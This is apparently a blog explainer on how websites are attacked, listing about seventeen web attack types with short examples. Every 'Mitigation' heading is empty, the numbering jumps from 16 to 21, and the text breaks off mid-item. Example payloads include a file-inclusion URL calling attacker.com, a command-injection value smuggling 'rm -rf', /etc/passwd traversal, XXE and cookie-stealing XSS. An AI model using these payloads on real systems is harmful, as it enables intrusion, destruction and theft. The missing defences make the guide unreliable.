How Hackers Hack Websites and How to Prevent It -wp
1. Brute-Force Attacks How It Works: Brute-force attacks rely on systematically guessing combinations of usernames and passwords until the correct one is found. Automated tools can try thousands of combinations per second. Example: A brute-force attack against a WordPress admin login page where attackers use a list of common usernames (“admin”, “root”) and attempt numerous password combinations. Mitigation: 2. SQL Injection (SQLi) How It Works: SQL Injection occurs when attackers inject malicious SQL queries into web applications, allowing them to read, modify, or delete data, and even bypass authentication. Example: codeSELECT * FROM users WHERE username = ‘admin’ OR ‘1’ = ‘1’; This query returns all rows because the condition ‘1’ = ‘1’ is always true. Mitigation: 3. Cross-Site Scripting (XSS) How It Works: XSS allows attackers to inject malicious scripts into web pages viewed by other users, enabling them to steal cookies, session tokens, or perform actions on behalf of the user. Types: Example: <script>alert(document.cookie);</script> This script runs and displays the user’s session cookie. Mitigation: 4. Cross-Site Request Forgery (CSRF) How It Works: CSRF tricks authenticated users into unknowingly submitting requests that perform actions on a website without their consent (e.g., changing account details or transferring funds). Example: <img src=”http://bank.com/transfer?to=attacker&amount=1000″> This image tag tricks a user into performing a funds transfer. Mitigation: 5. Remote File Inclusion (RFI) How It Works: RFI vulnerabilities allow an attacker to include a remotely hosted file (usually malicious) into a web application. The file can contain executable code, which gives the attacker control over the application. Example: An attacker includes a malicious PHP script via URL: http://vulnerable.com/page.php?file=http://attacker.com/malicious.php Mitigation: 6. Local File Inclusion (LFI) How It Works: LFI occurs when an attacker can include local files on the server (e.g., /etc/passwd) through a vulnerable web application. This can expose sensitive information or allow code execution. Example: A URL like: http://example.com/index.php?page=../../../../etc/passwd could display the contents of /etc/passwd. Mitigation: 7. Command Injection How It Works: Command injection allows attackers to execute arbitrary system commands via a web application. This occurs when user input is passed directly to a system shell or command. Example: A web application that allows users to ping an IP address: $ip = $_GET[‘ip’];$output = shell_exec(“ping ” . $ip); An attacker could modify the URL to: http://example.com/ping.php?ip=8.8.8.8;rm -rf /var/www/html Mitigation: 8. Directory Traversal How It Works: Directory traversal (or Path Traversal) occurs when attackers manipulate file paths to access files outside the web root directory. This can expose sensitive files and system information. Example: A vulnerable URL: http://example.com/download.php?file=../../../../etc/passwd gives the attacker access to system files. Mitigation: 9. Session Hijacking How It Works: Session hijacking involves stealing a user’s session token (often via XSS or Man-in-the-Middle attacks) and using it to impersonate the user on the web application. Example: If an attacker steals a session token via XSS, they can use the session ID to access the victim’s account without needing to know their login credentials. Mitigation: 10. Man-in-the-Middle (MITM) Attacks How It Works: In MITM attacks, an attacker intercepts and manipulates the communication between two parties (e.g., between a user and a website). The attacker can eavesdrop, steal data, or inject malicious content. Example: An attacker intercepts unencrypted HTTP traffic between a user and a website to steal login credentials. Mitigation: 11. Denial-of-Service (DoS) and Distributed Denial-of-Service (DDoS) How It Works: In a DoS attack, an attacker floods a server or network with so much traffic or requests that it can no longer respond to legitimate users. A DDoS attack uses multiple systems (often a botnet) to overwhelm the target. Example: A botnet performs a volumetric attack on a website, sending millions of requests per second to overwhelm the server and cause downtime. Mitigation: 12. Broken Authentication How It Works: Broken authentication occurs when web applications fail to protect user authentication details, allowing attackers to compromise user accounts. Example: An attacker exploits weak password recovery mechanisms to reset a user’s password and gain access to their account. Mitigation: 13. Insecure Deserialization How It Works: Insecure deserialization occurs when an attacker sends malicious serialized objects to an application that deserializes the object without proper validation. This can lead to arbitrary code execution or data tampering. Example: An application deserializes an object sent by the user, and the attacker modifies the object to include malicious code, which the application then executes. Mitigation: 14. XML External Entity (XXE) Injection How It Works: XXE injection occurs when an XML parser processes XML input that includes a reference to an external entity, allowing attackers to read local files or execute remote requests. Example: A vulnerable XML parser processes the following XML input: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]><foo>&xxe;</foo> The XML parser retrieves the contents of /etc/passwd. Mitigation: 15. Server-Side Request Forgery (SSRF) How It Works: SSRF allows an attacker to make requests on behalf of the server to internal or external services. This can lead to data exposure, port scanning, or interaction with other internal services. Example: An attacker uses SSRF to make the server request an internal service on the network (e.g., an unsecured admin interface). Mitigation: 16. HTTP Response Splitting Definition: HTTP Response Splitting is a web vulnerability that allows an attacker to manipulate HTTP response headers, resulting in the server sending multiple responses to a client. How It Works: An attacker injects malicious data (like CR and LF characters) into HTTP headers, allowing them to control the response sent to the user. This can lead to issues like cache poisoning, cross-site scripting (XSS), or unauthorized cookie manipulation. Example: If a vulnerable application processes a URL parameter unsafely: (“Location: ” . $_GET[‘url’]); An attacker could send: /page.php?url=http://malicious.com%0D%0ASet-Cookie:%20sessionId=malicious This would lead to a response that sets a malicious cookie. Mitigation: Continuing from the previous detailed explanations of web application attacks, here are additional categories of attacks along with mitigation strategies and examples. This will provide a broader understanding of web security threats. 21. File Upload Vulnerabilities How It Works: File upload vulnerabilities occur when a web application allows users to upload files without proper validation,
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